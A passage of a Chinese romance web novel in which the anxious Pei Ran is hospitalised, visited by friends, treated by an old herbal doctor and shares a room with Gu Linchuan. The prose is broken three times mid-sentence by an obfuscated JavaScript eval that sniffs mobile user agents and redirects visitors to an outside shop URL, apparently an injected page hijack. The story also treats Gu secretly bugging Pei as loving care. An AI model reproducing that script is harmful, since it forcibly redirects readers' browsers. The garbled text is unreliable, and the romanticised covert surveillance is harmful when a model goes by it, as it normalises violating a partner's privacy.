“检查科那边刚把报告发给我,我待会儿查完房就回去看,看完具体的我再和你聊。”医生检查了一番,填好数据,把本子收好,见好友状态不佳,出声安慰,“暂时看不出病理性的问题,不用太忧虑。”
顾临川点点头,也不知道听没听进去,医生不再多说,转身去了下一个病房。
戚贺昀不知道从哪里听到裴然住院的消息,赶紧拽着枚烨一起来了医院。
两人手上都提着果篮和鲜花。
到的时候,裴然已经醒过来了,病房里只有他一个人,坐在洁白的病床上,盯着窗外发呆,眼睛映出淡淡的琥珀色。
阳光透过窗户洒在他身上,给整个人镀上一层柔和的光。
“裴裴。”戚贺昀敲了敲门。
裴然应声回过神,看清来人,露出笑容,出声:“贺昀,快进来。”
戚贺昀拉着身后被门挡住的枚烨,往里面走,“还有妹妹,我们来看看你。”
枚烨拉过一个凳子,摆在床前,方便让戚贺昀坐下和裴然聊天。
转头将两人的鲜花插进花瓶里,又把水果拿出来整理好。
戚贺昀则是坐下来,拿过一个苹果慢慢削,见裴然脸色依旧苍白,担忧地问:“裴裴,你身子好些了吗?”
“好多了。”裴然朝他安抚地笑笑,“只是没有休息好,不严重的。”
“裴裴你要好好休息啊,工作哪有身体重要。”戚贺昀偷瞟了身后的枚烨,凑到裴然耳边小声吐槽,“他和咕咕都是工作狂,你可千万不要跟他们学。”
裴然见戚贺昀一脸严肃,起了心思逗他,“不拼命工作,我就要吃不起饭了呀。”
戚贺昀不食人间烟火,哪听得朋友说没钱,当即大手一挥,“以后我养你!”
枚烨一脸黑线,把他往后扯了扯,好让两人不要靠太近。
“聊什么呢?”顾临川站在门口,手里提着一份粥,“你要养谁?”
戚贺昀看了眼顾临川,又缓缓将目光放在裴然身上,顿悟,哪里轮得到他养裴然。
戚贺昀意味深长地笑笑,并不回答。
顾临川没理会他,径直走到病床前。
“先把饭吃了。”
顾临川把饭盒打开,白粥寡淡的味道立刻散开。
“你就给裴裴吃这个?”戚贺昀震惊,他一向口味挑剔,简直不敢想这个如何下咽。
当下又觉得,裴裴还是得靠他养,否则顾临川会虐待。
顾临川把勺子递给他,见裴然拿起来小口小口吃着,才说:“清淡点,对胃好。”
枚烨也说:“你以为谁都和你一样挑食?”
“我才不是挑食。”戚贺昀不满,伸脚踢了过去,被他熟练躲开。
裴然笑盈盈地看着,差点被烫到,瑟缩了一瞬。
顾临川立刻发现,问他:“烫到了?”
裴然点点头,随即又摇头,说:“没事。”
裴然一抬头,三人都挤在病床前,戚贺昀坐在椅子上,枚烨则是环臂靠在柜子边,顾临川站在另一侧病床前,默然盯着裴然吃饭。
三人视线齐刷刷落在他身上,一瞬间,顿感压力山大,吃饭都不自在起来。
尤其顾临川与枚烨二人,近一米九的身高,几乎快把病房顶破,如出一辙的面无表情,站在面前犹如两座冷峻的大山。
戚贺昀也发现这一点,啧了一声,推着两人往外赶,“你们俩站着审犯人呢?出去出去,我和裴裴单独聊会儿。”
两人对视一眼,无奈,顺势出了病房。
两人没走太远,插着兜靠在墙边,皆是无言。
过了一会儿,枚烨侧头,问:“情况怎么样?”
“不好。”顾临川想起刚刚看的病例单,眉头紧锁,“体质太差,精神状态也不好。”
焦虑症伴随着的不仅是头疼,还体现在日常生活中,持续性的发呆,胃口不好,入睡困难等。
裴然身体和七年前相比,差了太多,就像一座随时会倾倒的大厦。
闻言,枚烨也皱眉,片刻后,想起什么,问他:“听说你昨晚开会,半路就跑了,怎么知道的这么快?”
“安了监听器。”
顾临川认为理所应当的事情,好不容易找回来的人,总要好好看着,不要让他再跑了。
同时又感到烦躁,若是他没有及时听到,后果他不敢想。
“什么时候?”枚烨并不意外,只是好奇。
顾临川说:“回国后,一直。”
枚烨点了点头,前几次怪异行为都得到了解释,又问:“出院后,怎么办?”
顾临川沉声:“我亲自盯着,不会再出事。”
茶氨酸在血液里冲撞,方才喝下的那杯绿茶似乎没有半点清心功效。
顾临川此刻回想起昨天晚上的情形,仍是一阵后怕。
昨夜,顾临川开会时嫌无聊,打开了监听器,谁料,监听器里传来的是裴然压抑痛苦的呻吟。
谁也不知道那一刻,他在想什么,只是心脏跟着缩紧,呼吸也快暂停。
他立刻奔出会议室,留下各位一脸茫然。
上了车,他油门踏到底,最快的速度赶到,却仍觉得慢,路上不知道闯了多少红灯。
到了之后怀里人已经晕了过去,小脸惨白,额头布满汗珠。
太脆弱了,像一个随时会碎裂的陶瓷娃娃,他轻轻地将裴然抱起,送到医院。
直到医生检查完后,亲口说已经没事了,他心脏才终于坠回原位。
枚烨见他沉着脸,呼吸粗重,像是坠入梦魇一般,吓了一跳,很久没见到他这般模样。
“不用太担心,身子不好可以养。”枚烨说,“我回去请爷爷给裴然看看,好好调理一番。”
枚烨爷爷是南城最有名的中医,但年事已高,已不再接诊了。
闻言,顾临川眉头稍缓,哑声道:“多谢。”
枚烨摇头,“小然也是我朋友。”
两人又在门口站了会儿,估摸着病房里的两人聊的差不多,才敲门进去。
推门进去,戚贺昀和裴然仍凑在一起聊八卦。
枚烨去了阳台接电话,顾临川则又拿了一把椅子,坐在一旁。
“赵宇恒,还记得么?”戚贺昀问。
裴然思索了几秒,点点头:“有点印象。”
“上学时候是不是觉得他还挺老实的?”戚贺昀一脸嫌恶,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057474|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
结婚了之后还家暴,被他老婆告了,不知道从哪找到妹妹联系方式,哭着求着让妹妹帮他。”
裴然目瞪口呆,回忆里那个始终戴着黑框眼镜认真学习的同学,如今居然成为了家暴男。
“后来呢?”说完,裴然眼前出现一块苹果,下意识张嘴咬住。
下一秒,反应过来,和一旁的顾临川对视上,“谢谢。”
顾临川不说话,只是盯着他的嘴,待他细细嚼完又递过来。
戚贺昀没注意这个小插曲,闻言继续说:“后来,我让妹妹找人把他连打带踹的赶出去,顺便为他夫人请了一个有名的离婚律师。”
裴然听完肃然起敬,竖起大拇指:“干得漂亮!”
戚贺昀自己也觉得满意,自我陶醉。
终于,他看见裴然嘴巴始终在嚼嚼嚼,顺着望过去,顾临川刚好又递过来一块苹果。
戚贺昀顿时控诉起来:“我也要吃苹果。”
顾临川从果篮里挑了一个,抛给他,“自己削。”
戚贺昀不乐意,把阳台上的枚烨喊进来给自己削苹果。
裴然吃了半个就吃不下了,顾临川也不急,拿着苹果慢条斯理地把剩下半个吃掉。
虽然是拿刀一点一点切下来的,但顾临川吃自己剩下的苹果,裴然还是有些莫名的不好意思。
戚贺昀如愿以偿吃到了苹果,心情也好起来,说:“找对象还是要擦亮眼睛,知人知面不知心,看起来斯文,实际上不知道是什么垃圾。”
裴然深感认同。
戚贺昀话音一转,指了指顾临川,对着裴然说:“比如说咕咕,这种一看结婚了就不家暴。”
这话本意是调侃顾临川,顺便暗示裴然,找顾临川做男友。
但落到裴然耳朵里,一切又变了味道。
他又想起顾辰说的,顾临川即将订婚的消息,呼吸都有些紊乱。
顾临川只是淡淡瞥了戚贺昀一眼,不置可否。
戚贺昀还在说,裴然却有些听不清了。
他低着头,叫旁人看不清眼底的落寞。
但顾临川敏锐地感觉到裴然状态不好,随便找了理由,打断了话题,催着两人离开。
送走两人,病房一下又恢复宁静,两人坐的近,彼此都能听见对方的呼吸声。
顾临川率先打破沉默:“不舒服?”
“没有。”裴然咬着唇,撒谎。
顾临川视线扫过他几乎快要咬破的唇,和下意识揪紧床单的手,不再逼他,换了话题。
“工作忙吗?不忙多住两天?”
裴然摇了摇头,“不了。”
他去苏州出差,本就将工作室许多事宜全都丢给庭婷,快除夕了,工作室的事情只多不少。
顾临川听出裴然的态度冷淡,但找不到原因,只好作罢。
裴然把床位调下去,缩进被子里,闻到床头花瓶散发着淡淡的茉莉花香。
两人都沉默着,顾临川还以为他睡了。
半晌,裴然轻声问:“顾临川,你之前说看到我就很讨厌,现在呢?”
顾临川想起之前赌气,说的那些话,生出几分懊悔,“没有讨厌。”
裴然弯了弯眼睛,“那我们现在算是朋友了吗?”
“是。”
“那就好。”
说完,裴然转过身,一副没精神的模样,不再讲话。
顾临川在病床前守了一会儿,才退出去。
眼角的泪浸湿了枕头,透出一片深色。
够了,作为朋友参加他的婚礼,他知足了,裴然心想。
18. 第 18 章
周五下午,裴然画完设计稿,活动了一下手腕,将铅笔收起来,站在落地窗前远眺。
工作室双休,不少人已经收拾好东西下班离开。
Rechal坐在工位上补好妆,朝庭婷送去飞吻:“下周见,宝贝。”
庭婷从一片画稿中抬起头,挥手:“下周见,小甜心。”
Rechal捂着嘴,笑着跑走了。
庭婷看向裴然的办公室门,轻叹一声,走上前,抬头欲敲,又纠结地放下。
就在此时,办公室门突然被打开,两人对上视线,皆是一愣。
“然哥。”庭婷往后退了一步。
裴然看了看工作室,已经没有人了,问:“怎么不下班?”
“还有工作没忙完。”庭婷想说的话说不出口,只好顺着回答。
裴然抬起手腕看了看时间,善解人意地说:“不紧急的话,下周再忙吧。收拾一下,去享受自己周末。”
他双手搭上庭婷的肩膀,轻轻用力把她转了一圈,推到工位面前。
“然哥。”庭婷心神不宁地收拾着,又喊了他一声,“你身体好点了吗?”
裴然上次晕倒进医院本就是情绪所致,只在医院住一晚便出了院,如今已经过去两天。
“已经没事了。”裴然从手机里抬起头,有些茫然:“怎么了?”
庭婷笑了笑,说:“没事。”
早在英国时期,裴然就已经患有焦虑症,原因是多方面的,遭遇这么多变故,又骤然身处异国他乡,他的精神状况每况愈下。
裴然拒绝吃药,每次头疼就强行忍住,用这种方式让自己一次又一次铭记痛的感觉。
好在后来,一切渐趋稳定,他的病症也渐渐稳定下来,头疼的次数越来越少,心理医生说有好转的迹象。
原以为回国后,状态会越来越好,所以几人都忘记了催着裴然去复查。
没想到,裴然会突然发了病,还直接进了医院。
庭婷不确定那晚的争执有没有间接导致他发病,但她仍感到内疚。
“Alice和你约好这个月的面诊了吗?”是裴然的心理医生,庭婷以为他在苏城太忙,忘记了,有心提醒。
裴然手指速度飞快,开心消消乐结算画面弹出一个,三个星星横在屏幕中间,“在月中,我已经做完了。”
庭婷一惊,裴然在按时复诊的情况下,都会突发病症,情况没有变好。
“然哥。”庭婷轻声喊。
“嗯?”裴然又点进下一关,手指不停。
“年后,顾家与宋家联姻举办订婚宴……”
庭婷适可而止,观察他的反应。
手指顿了一下,似乎抽筋了,裴然大脑空白,“如果他愿意邀请我,我会去的。”
下意识的反应骗不了人,庭婷已经确定,裴然究竟为何发病,但解铃还须系铃人,她帮不上任何忙。
无力感涌上来,庭婷把工位收拾好,又将灯光全部关掉。
裴然怔怔地盯着屏幕上只有一颗星的关卡结算画面,叹了口气,收起手机,和庭婷一起下楼。
大厦楼下,裴然走在前面,余光突然看见路边停着的一辆保时捷。
简约低调的风格,流畅自然的车身线条,无一不透露着熟悉之感。
他侧身问庭婷:“工作室有人开保时捷吗?”
庭婷一愣,顺着他目光看过去,回忆了一下:“没有吧,那群实习生都坐地铁上班。”
裴然皱着眉思考,总感觉在哪里见过。
庭婷突然惊呼一声,“然哥,它开过来了!”
裴然抬起头,车子缓缓停在两人面前。
顾临川从驾驶座下来,面容冷峻,“怎么这么晚才下来,又加班了?”
“没有加班,只是收拾地比较慢。”裴然看了看车,又看了看人,眼睛瞪得很大,“这是你的车?”
顾临川反问:“不可以吗?”
裴然想起什么,顿时不说话了。
一旁的庭婷好半晌才回过神,见两人熟悉得不似刚认识,指了指裴然,又指了指顾临川,结结巴巴半天才说出一句完整的话。
“你、你们,什么时候遇到的?!你们这是?!”
裴然实话实说:“刚回国就遇见了,他应该是找我有事。”
顾临川:“庭小姐。”
“我天……”庭婷大脑剧烈运转,简直不敢想象自己看到的一切。
裴然怕她说出他们在一起过的事情,急忙道:“他失忆了,以前和我有关的事情都不记得了。”
庭婷看向顾临川,有些不相信,但顾临川点点头,并未否认。
庭婷更震惊了,“那你还记得我吗?顾哥?”
“记得。”顾临川答。
裴然说:“他说他只忘了我。”
话音刚落,顾临川脸色变得很不好,拉开副驾驶门,语气冷硬:“上车。”
转头对着庭婷是一副公事公办的模样:“庭小姐方便回去吗?”
庭婷哪敢说不方便,连连摆手往后退,“我自己可以回去,你们先走吧。”
说完弯腰越过顾临川,对车内裴然挥了挥手。
裴然也挥挥手,“注意安全。”
顾临川朝她点点头,转身上车离开了。
车子启动,裴然没想到他会来,眉眼是自己都控制不住的高兴。
裴然看着熟悉的车内装饰,又看着那双令他的手,顿时想起来这车为什么令他熟悉。
他刚回国时,顾辰派人来接他,他就上的这辆车。
一瞬间,气氛有些尴尬,裴然不自在的捏了捏安全带,问:“当时,是你来接的我吗?”
“谁说我来接你了?”顾临川开车和他人一样冷漠霸道,一路上引得其他车子纷纷避让。
没有否认,就是默认。
“你不是……”裴然转过身,盯着他。
“我只是在路边停下,谁知道会有一个人冒冒失失坐上来。”顾临川解释说,“开车呢,别看我,看路。”
“哦。”裴然听话地坐端正,收回眼巴巴的视线,目视前方,半晌反应过来,又不是他开车,他看什么路。
又过了一会儿,裴然按耐不住好奇心,又问:“那你怎么知道我要去哪?”
“我不知道,乱走的。”顾临川答。
对于这一点,裴然点头深表认可,因为即使他离开了七年,也知道从那条街到工作室,用不了太久。
不至于二十分钟的路程,硬生生绕着远路,开了一个小时。
“对不起啊,我当时认错了。”裴然给他道歉,把他当成了司机使唤。
“裴然,已经
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057475|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过去很久了。”车子驶入近郊区别墅区,车速慢下来,顾临川把窗子降下一点,“你觉得你道了歉,时光就会倒流,你就不会上错车了吗?”
“不会。”裴然如实回答。
“那就不要道歉。”
“可是……”
“没有可是,现在我不也在当你的司机。”顾临川停好车,啪嗒一声解开安全带,转头看着他,“下车。”
裴然看向窗外,早已是陌生的环境,这才想起来问他要带自己去哪。
顾临川下车,关门前勾着唇轻笑一声,“把你卖掉。”
裴然跟着下了车,郊外温度明显低几分,默默拉上外套拉链,小声说:“我又不值钱。”
南城近郊的别墅区地势开阔,每栋别墅相隔甚远,宁静又自在,路旁种着香樟树,风吹过,树叶发出沙沙声。
这是栋三层小洋楼,外观简,线条利落大气,看起来很低调。
门前圈着一方规整的大院子,没搞那些华而不实的名贵花木,反倒朴素地种满了各类时令蔬菜。
顾临川人高腿长,裴然不得不小跑才能跟上,到门口时微微喘着气。
“这到底是哪里啊?”
顾临川放缓了脚步,“枚烨爷爷家。”
枚老爷子五年前宣布停止接诊后,嫌城市吵闹无趣,便买下这栋郊区别墅,在这里种菜,乐得清闲。
“来了啊。”枚烨收到消息,在门口等他们,“先进来坐吧,我去喊爷爷。”
顾临川走进去,转头发现裴然还愣在原地,眼神示意他跟上。
裴然走在他身后,小声在他耳边问:“你带我来见枚爷爷做什么?”
顾临川在沙发上坐下,“待会儿你就知道了。”
管家将泡好的茶端上来,微笑着同二位问好,特别关心了裴然。
“裴少爷,好久不见了。”
裴然看着管家与从前别无二致的熟悉的面庞,只有眼角似乎多了几道细纹,轻声唤他:“陆叔叔。”
陆管家看着他俩,笑了笑感慨,“裴少爷和顾少爷关系还是这么好。”
裴然心里紧了紧,下意识看向顾临川,见他也看向自己,又匆忙移开视线。
顾临川端起茶轻抿一口,气定神闲地看着裴然。
裴然手忙脚乱,只好也端起茶杯喝茶,差点被呛住。
此时,二楼传来脚步声,三人循声望去,枚烨与枚老一同下楼。
枚老已年过古稀,但仍然精神矍铄,步履沉稳有力。
座上的两人站起身来,顾临川先喊了人:“枚爷爷,又来打扰您了。”
裴然也跟着喊:“枚爷爷。”
枚老爷子温和随性,还觉得两个小辈太过拘谨,便说:“多来叨扰也无妨,先坐先坐。”
坐下后,枚老爷子先是看了看裴然,感慨:“小然可终于回来了,当年你出国得那么突然,我都以为再也见不到你了。”
裴然低下头,不敢看在场人的眼睛,“让枚爷爷担心了。”
顾临川看他反应,怕裴然又陷入极端情绪,轻咳一声,眼神暗示。
枚烨收到信号,出声:“阿姨把饭做好了,爷爷,我们先去吃饭吧,小然刚下班应该饿了吧?”
老爷子一听,年轻人为了工作不吃晚饭,这哪行,当即起身,带着众人往餐厅走。
19. 第 19 章
老爷子口味清淡,桌上便全是健康的绿色蔬菜,又有食不言的习惯,于是几人都安安静静地吃草。
饭后,枚老爷子又慢慢悠悠去花园散步消食,顺道将裴然带上。
枚老爷子在前面慢慢悠悠地走,慈眉善目地看了看裴然,说:“怎么感觉这么久不见,跟爷爷变生疏了呢?”
“没有的。”裴然落后一步,跟在身后。
枚老爷子停下,看着他,摇了摇头,“模样没变,心态变了。”
裴然小时候调皮又捣蛋,四个人里除了枚烨,其他都是让人头疼的。
“可能只是长大了。”裴然说。
“是啊,你们长大了,我也老了。”枚老爷子收回视线,继续慢慢悠悠往前走,语气感慨,“当年的事情,我略有耳闻,这么些年,你受苦了。”
闻言,裴然摇了摇头,“不苦,已经过去了,我现在不是好好的吗?”
“我听小烨说,你前两天住院了,身子好些了吗?”枚老爷子关切地问。
“已经好了,谢谢爷爷挂心。”裴然心头一热。
“待会儿散完步,和我一起去书房,我为你把把脉,看看身子哪里亏空,也好早点补上。”枚老爷子说,“年轻时候不注重,上年纪了可就不好补了。”
裴然觉得自己身子不差,便不想浪费老人家时间和精力,轻声拒绝:“多谢爷爷好意,但我身子还行,上次住院只是意外。”
“怎么?嫌弃老爷子我停诊多年,技术下降了?”枚老爷子佯装生气。
“当然不是……”裴然赶紧摆摆手。
枚老爷子目光落到他脸上,语气笃定从容,气场强大:“唇色偏淡,眼下有淡青色,经常熬夜吧?”
裴然心虚:“偶尔……工作需要的话会……”
“鼻尖暗淡无华,明堂失润,饮食也不规律,怕是经常不吃早饭吧。”
裴然心更虚:“会吃早饭的。”
枚老爷子又继续问他:“是不是很少生病,随后便觉得自己身强体壮,百毒不侵?”
“难道不是吗?”裴然抬起头,疑惑,毕竟这也是他不想劳烦的原因。
裴然的确很少生病,一般淋了雨受了寒,旁人都总会留鼻涕咳嗽几声,裴然却没什么反应,他一直坚信是因为他时常锻炼,所以体质好。
枚老爷子哼了一声,“这么想就完全错咯,你正是虚到极致,肺腑都没了滋润,连感冒发烧这样的反应都起不来。”
裴然神色一惊,不曾想竟然是这样的。
两人一边说着一边绕着花园走了一圈,逛回门口,这才将人一路带进书房。
书房被枚老爷子设计成了中药房,散发着淡淡的中药草药的香味,三面墙上都收着名贵的药材。
枚老爷子端坐在桌后,“手伸出来。”
裴然这下不敢不听话,依言将手腕搁在软垫上。
枚老爷子细细搭着脉,时不时盯着裴然的脸看,半晌不讲话。
看得裴然心底发毛。
终于,枚老爷子收回了手,缓缓道:“身子太虚,气血亏空,得慢慢调养才是。”
说完,又问起他的作息时间,夜里会不会惊醒等,裴然都一一据实回答。
听完,枚老爷子站起身,用笔写下药方,折好递给他,又起身去药柜中为他抓药,动作娴熟利落。
一切做完,枚老爷子将药递给他,转念一想,“今晚就在这里睡下,我让阿姨给你把药煎好?”
裴然下意识想拒绝,“不用了,爷爷。”
“院子里还种着些菠菜和小番茄,我一个老头子收得又慢,如果有个人来帮我就好了。”枚老爷子故作苦恼。
“爷爷,那我帮你吧。”裴然只好说。
“小烨。”枚老爷子喜笑颜开,朝门外喊了一声,“让阿姨给小然整理一间卧室出来。”
枚烨不知道从哪里出来的,闻言点点头:“知道了,爷爷。”
一切安排妥当,枚老爷子又说了几句闲话,便起了困意,打着哈欠回了房间。
裴然仍旧有些忧虑,问枚烨:“会不会打扰?”
“不会。”枚烨轻笑一声,同他说,“爷爷喜欢热闹,你能留下陪他,他只会觉得开心。”
裴然放下心来,跟在枚烨身后,等他为自己安排房间。
谁料,枚烨带着他在三楼转了一圈,最后停在一间房门前。
“只剩一个客房了,其他的都没收拾,这个点,佣人都下班了,要不——”枚烨指了指顾临川的房门,意思不言而喻。
裴然沉默,几秒后试图挣扎:“要不我还是回家吧。”
枚烨说:“你不是答应了爷爷明天陪他摘菜吗?”
裴然想了想,说:“我明天早点起来,赶在爷爷起床前过来。”
枚烨又说:“老人家觉少,五点多便醒了,你确定?”
裴然觉得自己还能抢救一下,“那我睡沙发。”
“爷爷睡醒发现你在沙发上,我要被家法处置了。”
裴然还在绞尽脑汁想理由。
面前的门突然打开,顾临川站在门口,一脸嫌吵的不耐。
“你们两个,在我房间门口聊得挺欢啊,客厅是摆设?”他刚洗完澡,头发湿漉漉的,浴袍半开,露出若隐若现的胸膛。
枚烨简直没脸看他,轻叹一声扶额,以前怎么没觉得好友这么闷骚。
“我们这就走。”
裴然拔腿就要跑,被人揪住后领。
两人同时拦住他,枚烨出声喊住,顾临川则是直接上手拉他。
“站住。”
顾临川脸色更黑,问他:“你走去哪?你俩聊这么久还没聊完?”
被拽着手腕,裴然跌了一下,差点撞见顾临川怀里,鼻尖几乎快贴在他喉结处。
裴然赶紧拉开距离,解释:“已经聊完了。”
“谁说这是你的房间门口了?”枚烨站在一旁,好整以暇地看着他们,“这明明也是我们小然的房间,临川,做人别太霸道。”
顾临川挑眉,看向裴然,眼神询问。
这间房,是专门为顾临川留宿而收拾的,只有顾临川会住进去。
裴然欲哭无泪,只好应下,说:“那个……客房不够了,我能在你房间借住一晚吗?”
不等顾临川说话,裴然赶紧补充:“不可以的话就算了。”
他在内心疯狂祈祷顾临川能一把关上房门,说一句想都别想。
毕竟顾临川失忆了,忘记了他们的过去。
他可是实实在在地记得,记得十八岁以前的每一年,他们都如此亲密无间。
睡一张床,吃同一根雪糕,会在夜里无人时偷偷接吻。
如今,他只是外人,踏入别人私人领域前,需要询问。
曾经唾手可得的东西变成奢望,裴然心想,既然如此那他宁可不要。
时间一分一秒过去,被拉得很长,裴然眼巴巴望着他,模样很可怜。
“算了的话,你要去睡菜地?”
顾临
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057476|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
川脸色看不出喜怒,和枚烨对视一眼后,面无表情地走进房间,没关门。
没拒绝也没同意,只说:“要洗澡赶快,十点准时熄灯睡觉。”
裴然看了眼时间,已经九点多了。
他没有对这份请求设置预期,因此不论结果好坏,他都坦然接受,此刻的回答让他紧绷的弦骤然松弛,有一种不真实的感觉。
他说点什么,但顾临川背影已经消失了,他咬着唇站在门口,半晌才抬脚走进房间,拿着新的睡衣进去洗澡。
全程目不斜视,没有看坐在床边的顾临川一眼。
浴室里还是湿漉漉的,弥漫着潮湿的水蒸气,裴然嗅着空气中淡淡的沐浴露香味,咽了咽口水。
裴然在内心疯狂呐喊,让自己赶紧清醒,不要被迷昏了头脑。
把水温调低,终于冷静不少,裴然迅速洗完,穿着睡衣出去。
他慢慢挪到顾临川面前,问:“我能睡床吗?”
顾临川像看傻子一样看他,“不然睡哪里?”
“好的,谢谢你,那我先休息了,晚安。”裴然一口气说完,转身走到床边,掀起被角躺进去。
裴然躺得笔直,甚至只占了床的一个小角落,生怕挤到顾临川。
他闭上眼睛,强迫自己睡觉,睡着之后就什么都不用想了。
“起来。”顾临川的声音在头顶响起。
裴然也不问为什么,直接从被窝里钻出来,脸被闷得发红。
“你在英国是怎么活下去的?”顾临川很不解,指了指自己面前,“站过来。”
裴然依言站了过去,还不等说话,一双大手就抚上他的头。
裴然这才反应过来,自己刚刚吹头发时太着急了,竟然都没吹干。
“不好意思,弄湿枕套了。”裴然说。
顾临川没回答,只专心给他吹头发。
吹完后,裴然又钻进被窝里蒙住自己。
顾临川看了看自己刚刚摸过裴然柔软的发顶的手指,感觉指尖传来一阵酥麻。
裴然是故意的,好有心机啊,他恶劣地想着。
故意不吹干,故意在他面前露出湿漉漉的发尾。
片刻后,他收拾好,走到床边,把床头灯关掉,也躺在床上。
一时间,漆黑一片的房间里只剩下两人浅浅的呼吸声。
“顾临川。”裴然轻声喊他。
“怎么?”顾临川回答。
“你睡了吗?”裴然掀开一点被子,盯着天花板,明知故问。
“……”顾临川侧头看他,“没睡的话,回答你的是谁?”
“是你拜托枚爷爷替我看病的吧。”裴然声音很轻,但语气肯定。
“关灯了就早点睡,不要想太多无关的事。”顾临川闭上眼睛,睡姿标准。
裴然弯着眉眼笑:“你人真好。”
突然被发了好人卡,顾临川内心深处像被投入石子的湖面,泛起阵阵涟漪,扰得他心神混乱。
过了很久,顾临川才想到一句:“还用你说?”
“要说的。”裴然不赞同的摇了摇头,“你对我好,我都会记得。”
“那你记性很好。”顾临川带了几分讥讽。
裴然没听出言外之意,仍旧弯着眉:“总要记得一些快乐幸福的事情,不然生活也太苦了。”
说完,裴然阖上眼,很快便睡着了。
顾临川听到身侧之人传来的呼吸声,难得的感觉到安宁。
这一夜,两人都好梦。
20. 第 20 章
第二日清晨,别墅里的佣人在门口轻声叩门,唤两人起床吃早饭。
裴然听到敲门声的第一时间就醒了,而后赶紧蹑手蹑脚地去开了门,同佣人说很快便下去。
佣人离开了,裴然又轻轻关上门,走到床边,见顾临川皱着眉往被子里躲,明显一副要赖床的迹象。
“起床了,顾临川。”裴然蹲在床边,趁机偷偷打量着眼前人的睡眼,见他没反应,又继续说,“枚爷爷应该已经在餐厅等……”
剩下的话被挡在顾临川的掌心,他从被窝里伸出一只手,堵住裴然喋喋不休的嘴。
“安静点。”顾临川声音很闷,“再睡十分钟。”
裴然好脾气地任由他捂住,怕自己唇碰到他,还紧紧抿着,呼吸都放得很轻。
床上的人翻了个身,继续睡。
裴然则是走到浴室洗漱,全程都很安静,没有发出一点声响。
于是,十分钟后按时起床的顾临川臭着一张脸起来,径直往浴室走去。
很显然,他忘记了自己昨晚是和裴然一起睡的,所以他直接推开了浴室门,和里面刚上完厕所正在栓裤绳的裴然面面相觑。
甚至,裴然的上衣还向上卷起,卡在胯骨处,露出一截若隐若现的腰和平坦的小腹。
“抱歉,忘记了。”顾临川还算淡定,甚至目光缓缓上移,定格在脸上,指了指裴然的嘴角,提醒他,“牙膏沫没洗干净。”
裴然手忙脚乱地把绳子系好,又赶紧把衣服放下来,一套动作下来脸上红得发烫。
“没关系,是我没关好门,你没事吧,我的意思是我应该锁门的。”
裴然也不知道自己在说什么,像一个出故障的机器人一样,脑海里的程序代码错乱,稀里糊涂间还同手同脚了几步。
走到盥洗台前,捧了一捧清水擦了擦嘴角,全程不敢回头看,因为此刻顾临川正正好站在他身后,手里拿着牙刷慢慢刷着,也不挪地方。
突然,后背抵上顾临川的炽热胸膛,烫的他身子很明显瑟缩一瞬,手上动作顿了顿,正犹豫要不要开口的时候,头顶传来抽纸的声音。
顾临川从背后捏着他的下巴,用点力让他抬头,手里拿着纸擦了擦他的嘴角。
裴然这才发现自己一阵忙活,牙膏渍还留在嘴角。
“好了。”顾临川收回手,往后撤了一步,因为在刷牙,声音含糊不清,带着几分刚起床的沙哑,“你先下去,我很快。”
裴然抬起头,在镜子里和身后的人对上视线,只觉两人靠得实在太近,连彼此身上淡淡的香味都能嗅到。
分神间,裴然甚至还在想,他们昨晚不是用的同一款沐浴露吗,怎么他闻不到自己身上的味道。
“还不走?”镜子里的人慵懒地抬眼,半开玩笑地说,“怎么刚刚被我看了,不服气,要看回来?”
说话间,呼吸全然打在他侧颈,裴然喉结上下滚了几下,才勉强找回自己的声音,“没、没有,我现在就走。”
说完,逃也似的溜出去。
楼下,枚老爷子和枚烨已经吃过早饭,在谈论报纸上的晨间新闻。
裴然来得晚,佣人便将冷掉的早饭撤掉,吩咐厨房为他们二人重新做。
枚老爷子没那么多规矩,小辈们睡眠和他不一样,贪睡些赖会儿床,太正常不过。
于是,裴然走到他面前,同他道歉时,他还有些没反应过来。
“爷爷,抱歉,我们起得晚了。”
枚老爷子先是问:“昨晚睡得还习惯吗?”
裴然点头:“嗯,睡得很好。”
“那就好。不用道歉,小孩子多睡会儿,老头子我还要多说什么吗?”枚老爷子摆摆手,转头吩咐王姨,“把小然那份中药端上来。”
王姨应下,从药房里端出一碗黑乎乎的中药,药味浓郁,不多时,整个客厅便弥漫着清苦的药味。
裴然接过药碗,下意识地皱起眉,只是闻到味道,舌根都跟着发苦。
几人的目光都聚集在他身上,裴然闭上眼睛,一口闷掉,苦气刺得他眼尾都泛酸。
终于喝完,王姨递给他一块冰糖,裴然笑笑,吃下。
二楼传来脚步声,几秒后,顾临川穿着一身简单的休闲装,从楼上缓缓走下来。
